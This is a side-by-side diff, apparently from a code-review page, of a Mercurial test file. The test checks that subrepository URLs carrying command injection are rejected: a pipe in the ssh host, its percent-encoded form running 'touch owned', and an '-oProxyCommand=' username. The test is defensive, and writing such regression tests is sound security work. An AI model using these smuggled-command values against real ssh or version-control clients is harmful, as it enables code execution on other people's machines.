1824 $ rm -r malicious-proxycommand-clone
1820 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1825 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1821 updating to branch default
1826 updating to branch default
1822 abort: potentially unsafe url: 'ssh://fakehost|shell/path' (in subrepo s)
1827 abort: no suitable response from remote hg!
1823 [255]
1828 [255]
1829 $ [ ! -f owned ] || echo 'you got owned'
1824
1830
1825 also check that a percent encoded '|' (%7C) doesn't work
1831 also check that a percent encoded '|' (%7C) doesn't work
1826
1832
1827 $ cd malicious-proxycommand
1833 $ cd malicious-proxycommand
1828 $ echo 's = [hg]ssh://fakehost%7Cshell/path' > .hgsub
1834 $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
1829 $ hg ci -m 'change url to percent encoded pipe'
1835 $ hg ci -m 'change url to percent encoded pipe'
1830 $ cd ..
1836 $ cd ..
1831 $ rm -r malicious-proxycommand-clone
1837 $ rm -r malicious-proxycommand-clone
1832 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1838 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1833 updating to branch default
1839 updating to branch default
1834 abort: potentially unsafe url: 'ssh://fakehost|shell/path' (in subrepo s)
1840 abort: no suitable response from remote hg!
1835 [255]
1841 [255]
1842 $ [ ! -f owned ] || echo 'you got owned'
1836
1843
1837 and bad usernames:
1844 and bad usernames:
1838 $ cd malicious-proxycommand
1845 $ cd malicious-proxycommand
1839 $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
1846 $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
1840 $ hg ci -m 'owned username'
1847 $ hg ci -m 'owned username'
1841 $ cd ..
1848 $ cd ..
1842 $ rm -r malicious-proxycommand-clone
1849 $ rm -r malicious-proxycommand-clone
1843 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1850 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1844 updating to branch default
1851 updating to branch default
1845 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepo s)
1852 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepo s)
1846 [255]
1853 [255]
General Comments 0
You need to be logged in to leave comments. Login now